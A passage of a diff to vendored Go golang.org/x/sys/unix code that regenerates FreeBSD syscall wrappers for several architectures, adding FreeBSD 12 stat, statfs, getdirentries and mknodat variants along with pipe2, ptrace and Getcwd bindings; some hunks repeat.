- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mknod(path string, mode uint32, dev int) (err error) {
-+func mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1239,6 +1331,36 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func mknodat(fd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mknodat_freebsd12(fd int, path string, mode uint32, dev uint64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -1473,8 +1595,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1629,7 +1752,7 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func stat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1644,7 +1767,7 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-+func statfs(path string, stat *statfs_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1659,6 +1782,21 @@ func Statfs(path string, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func statfs_freebsd12(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS_FREEBSD12, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm.go b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm.go
-index 2b4e6acf..31d2c461 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm.go
-@@ -1,4 +1,4 @@
--// mksyscall.pl -l32 -arm -tags freebsd,arm syscall_bsd.go syscall_freebsd.go syscall_freebsd_arm.go
-+// go run mksyscall.go -l32 -arm -tags freebsd,arm syscall_bsd.go syscall_freebsd.go syscall_freebsd_arm.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build freebsd,arm
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +350,41 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +403,16 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func ptrace(request int, pid int, addr uintptr, data int) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -886,7 +911,7 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-+func fstat(fd int, stat *stat_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -896,7 +921,47 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+func fstat_freebsd12(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat(fd int, path string, stat *stat_freebsd11_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat_freebsd12(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatfs(fd int, stat *statfs_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -906,6 +971,16 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatfs_freebsd12(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -926,7 +1001,7 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+func getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -943,6 +1018,23 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getdirentries_freebsd12(fd int, buf []byte, basep *uint64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES_FREEBSD12, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -1164,7 +1256,7 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func lstat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1224,7 +1316,7 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mknod(path string, mode uint32, dev int) (err error) {
-+func mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1239,6 +1331,36 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func mknodat(fd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mknodat_freebsd12(fd int, path string, mode uint32, dev uint64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -1473,8 +1595,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1629,7 +1752,7 @@ func Setuid(uid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-+func stat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1644,7 +1767,7 @@ func Stat(path string, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-+func statfs(path string, stat *statfs_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1659,6 +1782,21 @@ func Statfs(path string, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func statfs_freebsd12(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall(SYS_STATFS_FREEBSD12, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm64.go
-similarity index 90%
-copy from vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm64.go
-index ac1e8e01..4adaaa56 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_freebsd_arm64.go
-@@ -1,7 +1,7 @@
--// mksyscall.pl -tags freebsd,amd64 syscall_bsd.go syscall_freebsd.go syscall_freebsd_amd64.go
-+// go run mksyscall.go -tags freebsd,arm64 syscall_bsd.go syscall_freebsd.go syscall_freebsd_arm64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build freebsd,amd64
-+// +build freebsd,arm64
-
- package unix
-
-@@ -214,22 +214,6 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
- func utimes(path string, timeval *[2]Timeval) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -255,9 +239,9 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, _, e1 := Syscall(SYS_POLL, uintptr(unsafe.Pointer(fds)), uintptr(nfds), uintptr(timeout))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +350,25 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (r int, w int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- r = int(r0)
-- w = int(r1)
-+func pipe2(p *[2]_C_int, flags int) (err error) {
-+ _, _, e1 := RawSyscall(SYS_PIPE2, uintptr(unsafe.Pointer(p)), uintptr(flags), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getcwd(buf []byte) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall(SYS___GETCWD, uintptr(_p0), uintptr(len(buf)), 0)
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -388,6 +387,32 @@ func ioctl(fd int, req uint, arg uintptr) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-+ var _p0 unsafe.Pointer
-+ if len(mib) > 0 {
-+ _p0 = unsafe.Pointer(&mib[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func ptrace(request int, pid int, addr uintptr, data int) (err error) {
-+ _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Access(path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -886,7 +911,7 @@ func Fpathconf(fd int, name int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstat(fd int, stat *Stat_t) (err error) {
-+func fstat(fd int, stat *stat_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTAT, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -896,7 +921,47 @@ func Fstat(fd int, stat *Stat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+func fstat_freebsd12(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat(fd int, path string, stat *stat_freebsd11_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat_freebsd12(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_FSTATAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatfs(fd int, stat *statfs_freebsd11_t) (err error) {
- _, _, e1 := Syscall(SYS_FSTATFS, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -906,6 +971,16 @@ func Fstatfs(fd int, stat *Statfs_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func fstatfs_freebsd12(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := Syscall(SYS_FSTATFS_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
- if e1 != 0 {
-@@ -926,7 +1001,7 @@ func Ftruncate(fd int, length int64) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+func getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
- var _p0 unsafe.Pointer
- if len(buf) > 0 {
- _p0 = unsafe.Pointer(&buf[0])
-@@ -943,6 +1018,23 @@ func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func getdirentries_freebsd12(fd int, buf []byte, basep *uint64) (n int, err error) {
-+ var _p0 unsafe.Pointer
-+ if len(buf) > 0 {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ } else {
-+ _p0 = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES_FREEBSD12, uintptr(fd), uintptr(_p0), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Getdtablesize() (size int) {
- r0, _, _ := Syscall(SYS_GETDTABLESIZE, 0, 0, 0)
- size = int(r0)
-@@ -1164,7 +1256,7 @@ func Listen(s int, backlog int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Lstat(path string, stat *Stat_t) (err error) {
-+func lstat(path string, stat *stat_freebsd11_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1224,7 +1316,7 @@ func Mkfifo(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mknod(path string, mode uint32, dev int) (err error) {
-+func mknod(path string, mode uint32, dev int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
-@@ -1239,6 +1331,36 @@ func Mknod(path string, mode uint32, dev int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func mknodat(fd int, path string, mode uint32, dev int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mknodat_freebsd12(fd int, path string, mode uint32, dev uint64) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_MKNODAT_FREEBSD12, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
- if e1 != 0 {
-@@ -1473,8 +1595,9 @@ func Seek(fd int, offset int64, whence int) (newoffset int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) {
-- _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
